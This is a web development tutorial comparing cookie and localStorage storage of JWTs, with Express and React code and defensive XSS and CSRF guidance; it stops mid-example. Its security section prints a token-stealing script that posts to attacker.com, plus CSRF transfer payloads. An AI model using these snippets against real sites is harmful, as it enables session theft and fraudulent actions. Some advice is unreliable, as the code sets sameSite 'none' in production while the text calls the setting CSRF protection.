JWT Storage: Cookies vs LocalStorage – Which Is Right for Your App?
JWT Storage: Cookies vs LocalStorage – Which Is Right for Your App?
So you’ve built authentication for your web app. Great! But now comes a question that stumps many developers: where should you store those JWT tokens?
You’ve probably heard conflicting advice. “Use HTTP-only cookies—they’re more secure!” versus “LocalStorage is simpler and avoids CSRF headaches!” Both sides have valid points, but the real answer depends on your specific situation.
In this guide, we’ll walk through both approaches together with working code examples. More importantly, you’ll understand why each method works the way it does, what can go wrong, and how to make an informed decision for your application. By the end, you’ll be able to confidently choose and implement the right storage method for your security needs.
What You’ll Learn
By the time you finish this article, you’ll be able to:
- Implement JWT authentication using both HTTP-only cookies and localStorage
- Understand the real security implications of XSS and CSRF attacks on each approach
- Recognize which storage method fits your application architecture
- Apply defense-in-depth strategies regardless of your choice
- Handle common pitfalls and troubleshooting scenarios
Prerequisites
Before we dive in, make sure you have:
- Basic knowledge of JWT authentication (what tokens are and how they work)
- Node.js and npm installed (we’ll use Express for backend examples)
- Familiarity with React (or any frontend framework—the concepts translate)
- Understanding of HTTP requests and headers
- A code editor and terminal ready to go
Don’t worry if you’re not an expert in all of these—we’ll explain concepts as we go. The code examples are complete and runnable, so you can follow along hands-on.
Table of Contents
- The Two Storage Options: What’s the Difference?
- Implementation: The Cookies Approach
- Implementation: The LocalStorage Approach
- Security Deep Dive: XSS Attacks
- Security Deep Dive: CSRF Attacks
- Performance and User Experience Considerations
- Making the Decision: Which Should You Choose?
- Best Practices and Defense Strategies
- Troubleshooting Common Issues
The Two Storage Options: What’s the Difference?
Before we write any code, let’s understand what we’re working with. Think of these two storage options as different ways to keep a secret key safe.
Option 1: HTTP-Only Cookies
Imagine you have a valuable key that you want to keep safe. HTTP-only cookies are like putting that key in a locked box that only the post office (your browser) can open and use on your behalf. You can’t even see inside the box yourself—and that’s the point.
Here’s how they work:
- The server creates a cookie with the
httpOnlyflag set totrue - Your browser stores this cookie, but JavaScript cannot access it (even
document.cookiewon’t show it) - Every time your browser makes a request to the server’s domain, it automatically includes this cookie
- The server reads the cookie and knows who you are
Why is this useful? If an attacker manages to inject malicious JavaScript into your page (an XSS attack), they can’t steal the token because JavaScript simply can’t read it. The browser handles everything.
Key characteristics:
- Automatic: No manual code needed to send tokens with requests
- JavaScript-proof: Cannot be accessed or stolen via JavaScript
- Configurable security: Can add flags like
Secure(HTTPS only) andSameSite(CSRF protection) - Browser-managed: The browser handles storage, sending, and deletion
Option 2: LocalStorage
Now imagine keeping that same key in your pocket. You can easily grab it whenever you need it, but if someone pickpockets you, it’s gone. LocalStorage is like your pocket—convenient and accessible, but vulnerable if someone gets close enough.
Here’s how it works:
- When you log in, the server sends back the JWT token in the response body
- Your JavaScript code takes that token and stores it:
localStorage.setItem('token', tokenValue) - For every API request, you must manually grab the token and add it to the request headers
- The server reads the
Authorizationheader to verify who you are
Why would you use this? It’s simpler to implement, especially for single-page applications (SPAs). You have full control over when and how tokens are sent. Plus, it completely avoids CSRF attacks (more on this later).
Key characteristics:
- Manual control: You decide when to send tokens and to which endpoints
- JavaScript-accessible: Easy to read, but also easy to steal via XSS
- No automatic sending: Won’t accidentally leak tokens to third-party requests
- Developer-managed: You handle storage, attachment, and cleanup
The Core Trade-off
Here’s the fundamental tension: Cookies are safer from XSS but vulnerable to CSRF. LocalStorage is immune to CSRF but completely exposed to XSS.
Let’s see both in action, then we’ll dive deep into what these attacks actually mean.
Implementation: The Cookies Approach
Let’s build this step by step. We’ll start with the backend, which is responsible for creating and setting the cookies.
Backend Setup (Node.js/Express)
First, let’s set up our backend with the necessary dependencies. You’ll need to install these packages:
npm install express jsonwebtoken cookie-parser
Why these packages?
express: Our web frameworkjsonwebtoken: For creating and verifying JWT tokenscookie-parser: Middleware to easily read cookies from requests
Now here’s the complete setup:
const express = require('express');
const jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser()); // This lets us read cookies from req.cookies
app.use(express.json()); // This lets us parse JSON request bodies
const ACCESS_TOKEN_COOKIE = 'access_token';
const JWT_SECRET = process.env.JWT_SECRET || 'your-secret-key';
const IS_PROD = process.env.NODE_ENV === 'production';
// Helper function to set cookie with security flags
function setAccessCookie(res, token) {
res.cookie(ACCESS_TOKEN_COOKIE, token, {
httpOnly: true, // CRITICAL: Prevents JavaScript from reading the cookie
secure: IS_PROD, // HTTPS only in production (allows HTTP in development)
sameSite: IS_PROD ? 'none' : 'lax', // CSRF protection (we'll explain this later)
maxAge: 15 * 60 * 1000, // 15 minutes in milliseconds
path: '/', // Cookie available across entire domain
});
}
Important notes:
- Never hardcode
JWT_SECRETin production! Use environment variables. This secret is how your server knows a token is legit. - The
secureflag means cookies are only sent over HTTPS. We disable it in development so you can test withhttp://localhost. sameSite: 'lax'is your CSRF defense. We’ll cover why this matters in the security section.
The Login Endpoint
When a user logs in, we create a JWT and set it as a cookie:
// Login endpoint
app.post('/api/auth/login', async (req, res) => {
const { email, password } = req.body;
// Validate credentials (simplified for this tutorial)
// In production, use bcrypt to hash passwords and check against your database
const user = await validateUser(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Generate JWT with user information
const token = jwt.sign(
{ userId: user.id, email: user.email }, // Payload: data you want in the token
JWT_SECRET, // Secret to sign the token
{ expiresIn: '15m' } // Token expires in 15 minutes
);
// Set the cookie - this is the key step!
setAccessCookie(res, token);
// Send back user data (but NOT the token - it's already in the cookie)
res.json({
success: true,
user: { id: user.id, email: user.email }
});
});
What’s happening here? When the client receives this response, their browser automatically stores the cookie. The client doesn’t need to do anything with the token—the browser handles it.
Protected Endpoints
Now let’s see how to verify the cookie on protected routes:
// Protected endpoint example
app.get('/api/user/profile', (req, res) => {
// Read the cookie from the request
const token = req.cookies[ACCESS_TOKEN_COOKIE];
if (!token) {
return res.status(401).json({ error: 'Not authenticated' });
}
try {
// Verify the token is valid and not expired
const decoded = jwt.verify(token, JWT_SECRET);
res.json({ user: decoded });
} catch (error) {
// jwt.verify throws an error if the token is invalid or expired
res.status(401).json({ error: 'Invalid token' });
}
});
Key point: The browser automatically sent the cookie with this request. We just read it from req.cookies thanks to the cookie-parser middleware.
Logout Endpoint
Logging out is simple—just clear the cookie:
// Logout endpoint
app.post('/api/auth/logout', (req, res) => {
// Clear the cookie by setting an expired one
res.clearCookie(ACCESS_TOKEN_COOKIE, {
httpOnly: true,
secure: IS_PROD,
sameSite: IS_PROD ? 'none' : 'lax',
path: '/',
});
res.json({ success: true });
});
Note: The clearCookie options must match the original cookie settings, or the browser won’t clear it. This is a common gotcha!
Frontend Setup (React)
Now for the frontend. The beautiful thing about cookies is how simple the client code is. Here’s a complete login component:
import React, { useState } from 'react';
function LoginWithCookies() {
const [email, setEmail] = useState('');
const [password, setPassword] = useState('');
const [error, setError] = useState('');
const handleLogin = async (e) => {
e.preventDefault();
try {
const response = await fetch('http://localhost:3000/api/auth/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
credentials: 'include', // CRITICAL: This tells the browser to include cookies
body: JSON.stringify({ email, password }),
});
const data = await response.json();
if (response.ok) {
console.log('Login successful:', data);
// That's it! The cookie is automatically stored by the browser
// No localStorage.setItem, no manual token management
window.location.href = '/dashboard';
} else {
setError(data.error);
}
} catch (err) {
setError('Login failed');
}
};
return (
<form onSubmit={handleLogin}>
<input
type="email"
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="Email"
/>
<input
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
placeholder="Password"
/>
<button type="submit">Login</button>
{error && <div className="error">{error}</div>}
</form>
);
}
export default LoginWithCookies;
The magic of credentials: 'include': This option tells the browser to send cookies with the request and store any cookies from the response. Without it, cookies won’t work in cross-origin scenarios.
Making Authenticated Requests
Every subsequent API call is equally simple:
// Fetching user profile
async function fetchUserProfile() {
const response = await fetch('http://localhost:3000/api/user/profile', {
method: 'GET',
credentials: 'include', // Browser automatically includes the cookie
});
if (response.ok) {
const data = await response.json();
return data.user;
}
throw new Error('Not authenticated');
}
Notice what we’re NOT doing: We’re not reading the token, storing it, or manually adding headers. The browser does all of this automatically. This is both a blessing (less code!) and a potential curse (CSRF vulnerability, which we’ll discuss later).
Common Pitfall: CORS Configuration
If your frontend and backend are on different domains (e.g., http://localhost:3000 for frontend and http://localhost:4000 for backend), you’ll need to configure CORS on your backend:
// Add this to your Express server
const cors = require('cors');
app.use(cors({
origin: 'http://localhost:3000', // Your frontend URL
credentials: true, // Allow cookies
}));
Without this, cookies won’t work across origins! The browser will block the cookies for security reasons.
Implementation: The LocalStorage Approach
Now let’s implement the same authentication flow using localStorage. You’ll notice the backend is actually simpler—no cookie configuration needed!
Backend Setup (Node.js/Express)
The setup is straightforward. Install the required packages:
npm install express jsonwebtoken
Notice we don’t need cookie-parser since we’re not dealing with cookies at all.
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
app.use(express.json());
const JWT_SECRET = process.env.JWT_SECRET || 'your-secret-key';
// Login endpoint - returns the token in the response body
app.post('/api/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await validateUser(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Generate JWT (same as before)
const token = jwt.sign(
{ userId: user.id, email: user.email },
JWT_SECRET,
{ expiresIn: '15m' }
);
// Return token in the response body (not as a cookie!)
res.json({
success: true,
token: token, // The client will store this in localStorage
user: { id: user.id, email: user.email }
});
});
Key difference: We’re sending the token back as JSON data, not as a cookie. The client is responsible for storing it.
Protected Endpoints
For protected endpoints, we expect the token in the Authorization header:
// Protected endpoint - expects "Authorization: Bearer <token>" header
app.get('/api/user/profile', (req, res) => {
// Read the Authorization header
const authHeader = req.headers.authorization;
// Check if header exists and has the correct format
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Not authenticated' });
}
// Extract the token (remove "Bearer " prefix)
const token = authHeader.substring(7);
try {
const decoded = jwt.verify(token, JWT_SECRET);
res.json({ user: decoded });
} catch (error) {
res.status(401).json({ error: 'Invalid token' });
}
});
Why “Bearer”? This is the standard format for token-based authentication. “Bearer” means “whoever carries (bears) this token.”
Logout Endpoint
With localStorage, logout is primarily a client-side operation:
// Logout endpoint (optional - mainly client-side)
app.post('/api/auth/logout', (req, res) => {
// With localStorage, the client just deletes the token
// You could maintain a server-side token blacklist here if needed
// (more on this in the best practices section)
res.json({ success: true });
});
Important note: Unlike cookies, you can’t force the client to delete tokens from localStorage. The client must do it themselves. For added security, you could maintain a server-side blacklist of invalidated tokens, but that adds complexity.
Frontend Setup (React)
The frontend with localStorage requires more manual work, but it gives you full control. Here’s the complete implementation:
import React, { useState } from 'react';
function LoginWithLocalStorage() {
const [email, setEmail] = useState('');
const [password, setPassword] = useState('');
const [error, setError] = useState('');
const handleLogin = async (e) => {
e.preventDefault();
try {
const response = await fetch('http://localhost:3000/api/auth/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
// Note: No "credentials: 'include'" needed!
body: JSON.stringify({ email, password }),
});
const data = await response.json();
if (response.ok) {
// Store the token in localStorage manually
localStorage.setItem('access_token', data.token);
console.log('Login successful:', data);
window.location.href = '/dashboard';
} else {
setError(data.error);
}
} catch (err) {
setError('Login failed');
}
};
const handleLogout = () => {
// Simply remove the token
localStorage.removeItem('access_token');
window.location.href = '/login';
};
return (
<form onSubmit={handleLogin}>
<input
type="email"
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="Email"
/>
<input
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
placeholder="Password"
/>
<button type="submit">Login</button>
<button type="button" onClick={handleLogout}>Logout</button>
{error && <div className="error">{error}</div>}
</form>
);
}
export default LoginWithLocalStorage;
Key points:
- We manually store the token with
localStorage.setItem() - No
credentials: 'include'needed (we’re not using cookies) - Logout is as simple as
localStorage.removeItem()
Making Authenticated Requests
Here’s where localStorage requires more work—you must manually attach the token to every request:
// Making authenticated requests
async function fetchUserProfile() {
// Grab the token from localStorage
const token = localStorage.getItem('access_token');
if (!token) {
throw new Error('Not authenticated');
}
const response = await fetch('http://localhost:3000/api/user/profile', {
method: 'GET',
headers: {
// Manually add the Authorization header
'Authorization': `Bearer ${token}`,
},
});
if (response.ok) {
const data = await response.json();
return data.user;
}
// If we get a 401, the token might be expired
if (response.status === 401) {
localStorage.removeItem('access_token');
throw new Error('Token expired');
}
throw new Error('Request failed');
}
Pro tip: In a real application, you’d create a helper function or use an Axios interceptor to automatically attach the token to every request. Don’t repeat this code everywhere!
// Helper function to make authenticated API calls
async function apiCall(url, options = {}) {
const token = localStorage.getItem('access_token');
const headers = {
'Content-Type': 'application/json',
...options.headers,
};
if (token) {
headers['Authorization'] = `Bearer ${token}`;
}
return fetch(url, {
...options,
headers,
});
}
// Now every API call is simpler
const response = await apiCall('/api/user/profile');
Security Deep Dive: XSS Attacks
Now that you’ve seen both implementations, let’s understand the real security implications. Cross-Site Scripting (XSS) is when an attacker manages to inject their own malicious JavaScript into your web page. This is where localStorage and cookies behave very differently.
How XSS Happens (The Threat Model)
Before we compare storage methods, let’s understand how XSS attacks occur in the real world:
Scenario 1: Stored XSS (Most Dangerous) Let’s say you have a comment system. An attacker posts a comment with malicious JavaScript:
<script>
// Malicious code goes here
</script>
If your app doesn’t properly escape this when rendering, that script runs for every user who views the page.
Scenario 2: Reflected XSS
An attacker sends you a link like: https://yourapp.com/search?q=<script>alert('xss')</script>. If your app displays the search query without escaping it, the script executes.
Scenario 3: DOM-based XSS Your JavaScript code directly manipulates the DOM based on user input:
// Dangerous!
element.innerHTML = userInput;
Scenario 4: Supply Chain Attacks A third-party library you use gets compromised, or a CDN you trust serves malicious code.
The bottom line: XSS is frighteningly common. Even giants like Google and Facebook have had XSS vulnerabilities. If you’re using JavaScript to build web apps, you will face XSS risks.
XSS Impact on LocalStorage (The Nightmare Scenario)
Here’s the harsh truth: If an attacker can execute JavaScript on your page and you’re using localStorage, your tokens are completely exposed.
The attack is trivially easy:
// Attacker's injected script (just 3 lines!)
const stolenToken = localStorage.getItem('access_token');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token: stolenToken, userAgent: navigator.userAgent })
});
What just happened?
- The attacker’s script reads your token from localStorage (no protection prevents this)
- They send it to their server
- They now have your authentication token and can impersonate you
The lasting damage:
- The attacker can make API calls as you from their own computer
- They can access your sensitive data
- They can perform actions on your behalf
- Even after you patch the XSS vulnerability, the attacker still has your token until it expires
- They could use your token for days or weeks (depending on your expiration time)
XSS Impact on HTTP-Only Cookies (The Silver Lining)
Here’s where HTTP-only cookies shine. The attacker cannot read the token, period.
Try as they might, this attack fails:
// Attacker's script - fails completely
console.log(document.cookie); // Won't show httpOnly cookies
localStorage.getItem('access_token'); // Token isn't here either
// The token is completely inaccessible to JavaScript
But wait—there’s a catch. While the attacker can’t steal the token, they can still use it during the XSS attack:
// Attacker can still make requests while the XSS is active
fetch('/api/user/delete-account', {
method: 'POST',
credentials: 'include' // Browser still sends the cookie!
});
So what’s the difference?
With HTTP-only cookies:
- ✅ Attacker cannot steal the token
- ✅ Attacker cannot use your token from their own computer
- ✅ Once you fix the XSS, the attack is over—no lingering access
- ❌ Attacker can still make requests while the XSS is active
- ❌ Attacker can read the responses from those requests
With localStorage:
- ❌ Attacker can steal the token
- ❌ Attacker can use your token from anywhere, anytime
- ❌ Even after fixing XSS, attacker has the token until it expires
- ❌ Attacker can make requests
- ❌ Attacker can read responses
The key difference: HTTP-only cookies prevent token exfiltration. The attacker can’t take your token and use it later. They’re limited to the duration of the XSS attack itself.
XSS Comparison: Quick Reference
| Aspect | LocalStorage | HTTP-Only Cookies |
|---|---|---|
| Token theft possible | ✅ Yes, trivially | ❌ No |
| Can make requests as user | ✅ Yes | ✅ Yes (during XSS) |
| Persistent access after XSS fix | ✅ Yes (stolen token) | ❌ No |
| Reading API responses | ✅ Yes | ✅ Yes (during XSS) |
| Offline token usage | ✅ Yes | ❌ No |
Verdict on XSS: HTTP-only cookies are significantly more secure. They prevent token theft, which is the worst-case scenario.
Security Deep Dive: CSRF Attacks
Now let’s look at the flip side: Cross-Site Request Forgery (CSRF). This is where cookies have a vulnerability and localStorage has an advantage.
What Is CSRF? (The Trick That Shouldn’t Work But Does)
CSRF exploits the browser’s automatic cookie-sending behavior. Here’s the scenario:
- You log into
yourbank.comusing cookies - Your browser now has an authentication cookie for
yourbank.com - You visit
evil.com(maybe you clicked a phishing email) evil.comcontains malicious code that makes a request toyourbank.com- Your browser automatically includes your
yourbank.comcookie with that request yourbank.comthinks it’s you and processes the request
Cross-Site Request Forgery (CSRF) occurs when an attacker tricks your browser into making requests to a site where you’re authenticated—and the site can’t tell the difference.
CSRF Impact on HTTP-Only Cookies (The Automatic Attack)
Here’s the problem with cookies: browsers automatically include them with requests, even from other sites.
Let’s see a real attack. The attacker creates a malicious website (evil.com) with this simple HTML:
<!-- Attacker's page on evil.com -->
<h1>Check out these cute cat pictures!</h1>
<!-- Hidden malicious request -->
<img src="https://yourbank.com/api/transfer?to=attacker&amount=1000" style="display:none;">
What happens:
- You’re logged into
yourbank.com(your cookie is stored) - You visit
evil.com - The page loads the image tag
- Your browser makes a GET request to
yourbank.com/api/transfer - Your browser automatically includes your authentication cookie
- The bank’s server thinks it’s a legitimate request from you
- Money transferred!
This works with JavaScript too:
// Attacker's script on evil.com
fetch('https://yourbank.com/api/transfer', {
method: 'POST',
credentials: 'include', // Browser automatically sends cookies
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'attacker', amount: 1000 })
});
The core problem: The browser sends cookies automatically. It doesn’t matter that the request originated from evil.com—the browser sees a request to yourbank.com and dutifully includes the cookie.
CSRF Protection with SameSite (The Modern Defense)
Fortunately, modern browsers have a built-in CSRF defense: the SameSite cookie attribute. Remember when we set cookies earlier? This is where that sameSite flag comes into play:
res.cookie('access_token', token, {
httpOnly: true,
sameSite: 'strict', // This prevents CSRF!
});
Here’s what each SameSite value means:
SameSite=Strict (Strongest Protection)
- Cookie is NEVER sent on cross-site requests
- Even if you click a link from
evil.comtoyourbank.com, no cookie is sent initially - Great for high-security actions, but can hurt UX (you’ll seem logged out when clicking links from other sites)
SameSite=Lax (Balanced Approach)
- Cookie is sent on “top-level” navigations (like clicking a link)
- Cookie is NOT sent on cross-site POST requests, images, or fetch calls
- This is the sweet spot for most applications
- Our earlier CSRF attack would fail with
SameSite=Lax
SameSite=None (No Protection)
- Cookie sent on all requests (like the old behavior)
- Requires
Secureflag (HTTPS only) - Only use this if you absolutely need cross-site cookies
Browser support: Modern browsers (Chrome 80+, Firefox 69+, Safari 12+) support SameSite. Older browsers ignore it, which is why you should implement additional CSRF protection (we’ll cover this in the best practices section).
Important: As of 2021, Chrome treats cookies without a SameSite attribute as SameSite=Lax by default. This is a good thing for security!
CSRF Impact on LocalStorage (Built-In Immunity)
Here’s where localStorage shines: CSRF attacks simply don’t work. Let’s see why.
The attacker tries the same attack from evil.com:
// This request from evil.com won't work
fetch('https://yourbank.com/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 1000 })
// No Authorization header! Where's the token?
});
The attack fails because:
- Tokens in localStorage are protected by the Same-Origin Policy
- JavaScript on
evil.comcannot access localStorage fromyourbank.com - The attacker has no way to get your token
- The request arrives at the server without authentication
- The server rejects it
It’s literally impossible for the attacker to include your token in a cross-origin request when using localStorage. The token must be manually attached via JavaScript, and the attacker’s JavaScript on evil.com can’t access your yourbank.com localStorage.
Additional CSRF Protections (Defense in Depth)
Even with SameSite cookies, you should implement additional protections for older browsers and extra security. Here are two common approaches:
1. CSRF Tokens (Double Submit Pattern)
This is the gold standard for CSRF protection. The idea: make sure the request came from your own frontend, not a malicious site.
// Step 1: Generate and send CSRF token to the client
app.get('/api/csrf-token', (req, res) => {
const csrfToken = generateRandomToken(); // Random string
req.session.csrfToken = csrfToken; // Store in session
res.json({ csrfToken }); // Send to client
});
// Step 2: Verify CSRF token on state-changing requests
app.post('/api/transfer', (req, res) => {
const csrfToken = req.headers['x-csrf-token'];
// Token must match what we stored in the session
if (csrfToken !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
// Token matches, process the request
transferMoney(req.body);
res.json({ success: true });
});
On the frontend:
// Fetch CSRF token when app loads
const csrfToken = await fetch('/api/csrf-token').then(r => r.json());
// Include it in state-changing requests
fetch('/api/transfer', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken.csrfToken, // Include the token
},
body: JSON.stringify({ to: 'alice', amount: 100 })
});
Why this works: The attacker on evil.com can’t read your CSRF token (due to Same-Origin Policy), so they can’t include it in their malicious request.
2. Origin and Referer Checking (Simple but Effective)
Check that requests come from your own domain:
app.use((req, res, next) => {
// Only check state-changing requests
if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
return next();
}
const origin = req.headers.origin;
const referer = req.headers.referer;
const allowedOrigins = ['https://yourapp.com', 'http://localhost:3000'];
// Check if request is from an allowed origin
if (!allowedOrigins.includes(origin) && !referer?.startsWith(allowedOrigins[0])) {
return res.status(403).json({ error: 'Forbidden origin' });
}
next();
});
Caveat: Referer headers can be spoofed or blocked by privacy tools, so this shouldn’t be your only defense.
CSRF Comparison: Quick Reference
| Aspect | LocalStorage | HTTP-Only Cookies |
|---|---|---|
| CSRF vulnerability | ❌ No | ✅ Yes (without protection) |
| Requires SameSite flag | ❌ Not applicable | ✅ Yes |
| Needs CSRF tokens | ❌ No | ✅ Recommended |
| Auto-includes credentials | ❌ No | ✅ Yes |
| Cross-origin protection | ✅ Built-in (SOP) | ⚠️ Requires configuration |
Verdict on CSRF: LocalStorage has the advantage here. CSRF protection requires zero extra work.
Performance and User Experience Considerations
Security is paramount, but it’s not the only factor. Let’s talk about how these choices affect your app’s performance and your users’ experience.
The Cookie Experience
What’s great:
- Less code: The browser handles everything automatically. Your frontend doesn’t need token management logic.
- Server-side rendering friendly: Cookies work perfectly with SSR frameworks like Next.js or traditional server-rendered apps.
- No JavaScript required: Authentication works even if JavaScript fails to load (rare, but nice for accessibility).
- Cross-tab synchronization: Open your app in two tabs? Both automatically have the same authentication state.
What can be tricky:
- Request overhead: Every request to your domain includes the cookie, even for static assets. This adds ~100-200 bytes per request.
- CORS headaches: Cross-origin setups require careful configuration (
credentials: 'include', CORS headers, etc.). Get it wrong and auth breaks. - Mobile app challenges: React Native or other mobile frameworks don’t handle cookies as seamlessly as browsers do.
- Size limits: Cookies have a 4KB limit. If you’re storing multiple cookies, you might hit this.
The LocalStorage Experience
What’s great:
- Complete control: You decide exactly when and where to send tokens. No surprise automatic requests.
- Efficient requests: Only authenticated requests include the token. Static assets stay lightweight.
- SPA-friendly: Works naturally with React, Vue, Angular and other client-side frameworks.
- Flexible protocols: Easy to use with GraphQL, WebSockets, or any custom API pattern.
- Simple CORS: No special CORS configuration needed for credentials.
- Mobile-friendly: Works well in React Native and hybrid apps.
What can be tricky:
- Manual work required: You must write code to attach tokens to every authenticated request.
- Tab synchronization: Open two tabs? They don’t automatically share auth state. You need the Storage API events or polling.
- Logout complexity: Logging out in one tab doesn’t automatically log out other tabs without extra work.
- JavaScript dependency: If JavaScript doesn’t load, auth doesn’t work. This affects accessibility in some edge cases.
Real Code Comparison
Let’s see the actual difference in day-to-day development:
With Cookies (minimal code):
// Every API call looks like this
fetch('/api/data', {
credentials: 'include' // That's it!
});
With LocalStorage (more explicit):
// Every API call looks like this
const token = localStorage.getItem('access_token');
fetch('/api/data', {
headers: {
'Authorization': `Bearer ${token}`
}
});
// Or you create a helper (smarter approach)
const apiCall = (url, options) => {
const token = localStorage.getItem('access_token');
return fetch(url, {
...options,
headers: {
...options?.headers,
'Authorization': token ? `Bearer ${token}` : ''
}
});
};
// Then every call is clean
apiCall('/api/data');
The localStorage approach requires more setup but gives you more control.
Making the Decision: Which Should You Choose?
This is the million-dollar question. Let me give you a practical framework for making this decision.
The Security-First Approach: Start Here
Ask yourself: What’s more likely to happen to my application?
If you’re building:
- A financial application (banking, payments, investing)
- A healthcare application with sensitive patient data
- Any application handling highly sensitive personal information
- An application likely to be a high-value target for attackers
Then choose HTTP-only cookies. XSS is extremely common, and token theft is the worst-case scenario. The extra CSRF protection work is worth it for the XSS defense.
The Practical Approach: Consider Your Architecture
Choose HTTP-Only Cookies if:
-
Your frontend and backend share a domain - If your React app and API are both on
myapp.com(or subdomains likeapp.myapp.comandapi.myapp.com), cookies are simpler. -
You’re using server-side rendering - Next.js, Remix, or traditional server-rendered apps work beautifully with cookies.
-
You’re building a traditional web app - Multi-page applications or websites with progressive enhancement.
-
Security is your top priority - You’d rather deal with CSRF complexity than risk XSS token theft.
-
You have time to implement properly - CSRF tokens, SameSite cookies, and proper testing take effort.
Choose LocalStorage if:
-
You have a modern SPA architecture - React, Vue, Angular, or Svelte apps that are purely client-side.
-
Cross-origin complexity - Your frontend is on
myapp.combut your API is onapi.differentdomain.com, and configuring CORS for cookies is causing headaches. -
You’re building a mobile or hybrid app - React Native, Ionic, or Cordova apps benefit from localStorage simplicity.
-
You use GraphQL or custom protocols - Non-traditional API patterns where bearer tokens are the norm.
-
You have strong XSS prevention - Strict Content Security Policy, regular security audits, and a mature frontend codebase.
-
Developer experience matters a lot - Your team is more comfortable with explicit token management.
The Hybrid Approach (Best of Both Worlds)
Here’s what many production applications actually do: combine both approaches to get maximum security.
The pattern:
- Short-lived access tokens stored in memory (5-15 minutes)
- Long-lived refresh tokens stored in HTTP-only cookies (days or weeks)
- CSRF protection on the refresh endpoint
Why this works:
- Access tokens live in JavaScript memory (cleared on page refresh)
- If XSS steals the access token, it’s only valid for minutes
- The refresh token is in an HTTP-only cookie (can’t be stolen by XSS)
- CSRF protection prevents malicious refresh requests
- When the access token expires, use the refresh token to get a new one
Here’s the implementation:
// Frontend: Store access token in memory only
let accessToken = null;
async function login(email, password) {
const response = await fetch('/api/auth/login', {
method: 'POST',
credentials: 'include', // Get refresh token as httpOnly cookie
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password })
});
const data = await response.json();
accessToken = data.accessToken; // Store in memory, NOT localStorage!
// Server sets refresh token as httpOnly cookie
return data;
}
async function refreshAccessToken() {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include' // Sends refresh token cookie automatically
});
if (response.ok) {
const data = await response.json();
accessToken = data.accessToken; // Update in-memory token
return accessToken;
} else {
// Refresh token expired or invalid, redirect to login
window.location.href = '/login';
}
}
// Automatically refresh before token expires
function scheduleTokenRefresh(expiresIn) {
const refreshTime = (expiresIn - 60) * 1000; // Refresh 1 minute before expiry
setTimeout(refreshAccessToken, refreshTime);
}
Trade-off: Users lose their session when they close the tab or refresh the page (since the access token is in memory). But this is actually good for security! For better UX, automatically use the refresh token on page load to get a new access token.
Best Practices and Defense Strategies
Regardless of which storage method you choose, you need defense-in-depth. Let’s cover the essential security measures.
Universal Best Practices (Do These No Matter What)
These apply whether you use cookies, localStorage, or the hybrid approach:
1. Always Use HTTPS in Production Without HTTPS, tokens can be intercepted in transit. No exceptions. Use Let’s Encrypt for free SSL certificates if needed.
2. Keep Tokens Short-Lived
- Access tokens: 15-30 minutes max
- Refresh tokens: 7-30 days max
- The shorter, the better—but balance with UX
3. Implement Token Rotation When a refresh token is used, issue a new one and invalidate the old one. This limits the damage if a refresh token is stolen.
4. Build Proper Logout
- Clear tokens from the client
- Invalidate tokens on the server (maintain a blocklist or use a database flag)
- Clear all sessions across devices if the user requests it
5. Log Authentication Events
- Track login attempts, especially failures
- Monitor for unusual patterns (logins from new locations, rapid token refreshes)
- Alert users of suspicious activity
XSS Prevention (Essential for LocalStorage, Important for Everyone)
If you’re using localStorage, XSS prevention is critical. But honestly, you should do this anyway because XSS is bad news regardless.
1. Content Security Policy (Your First Line of Defense)
CSP tells the browser what scripts are allowed to run. This is incredibly powerful:
// Backend: Set CSP headers
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://trusted-cdn.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:;"
);
next();
});
What this does: Blocks inline scripts, only allows scripts from your domain and trusted CDNs. Attackers can’t inject and run their malicious scripts.
Testing tip: Start with Content-Security-Policy-Report-Only to see what would be blocked without actually blocking it.
2. Sanitize User Input (Defense in Depth)
Never trust user input. Ever.
// Frontend: Use DOMPurify for HTML content
import DOMPurify from 'dompurify';
function displayUserComment(comment) {
// Sanitize before inserting into DOM
const clean = DOMPurify.sanitize(comment);
document.getElementById('comment').innerHTML = clean;
}
// Backend: Validate and escape
const validator = require('validator');
const escape = require('escape-html');
app.post('/api/comment', (req, res) => {
let comment = req.body.comment;
// Validate
if (!validator.isLength(comment, { max: 500 })) {
return res.status(400).json({ error: 'Comment too long' });
}
// Escape HTML
comment = escape(comment);
// Save to database
saveComment(comment);
});
3. Avoid Dangerous DOM Manipulation
// Dangerous - NEVER do this with user input
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// Safe alternatives
element.textContent = userInput; // Plain text only, no HTML parsing
element.setAttribute('data-value', userInput); // Set attributes safely
// If you must insert HTML, sanitize it first
element.innerHTML = DOMPurify.sanitize(userHTML);
4. Keep Dependencies Updated
Many XSS vulnerabilities come from outdated libraries. Run regular audits:
npm audit
npm audit fix
CSRF Prevention (Critical for Cookies)
We covered this earlier, but let’s consolidate the key practices:
1. Always Use SameSite Cookies
res.cookie('token', jwt, {
httpOnly: true,
sameSite: 'strict', // or 'lax' for better UX
secure: true // HTTPS only
});
2. Implement CSRF Tokens for Sensitive Operations
Use a library like csurf for Express:
const csurf = require('csurf');
const csrfProtection = csurf({ cookie: true });
// Apply to sensitive routes
app.post('/api/transfer-money', csrfProtection, (req, res) => {
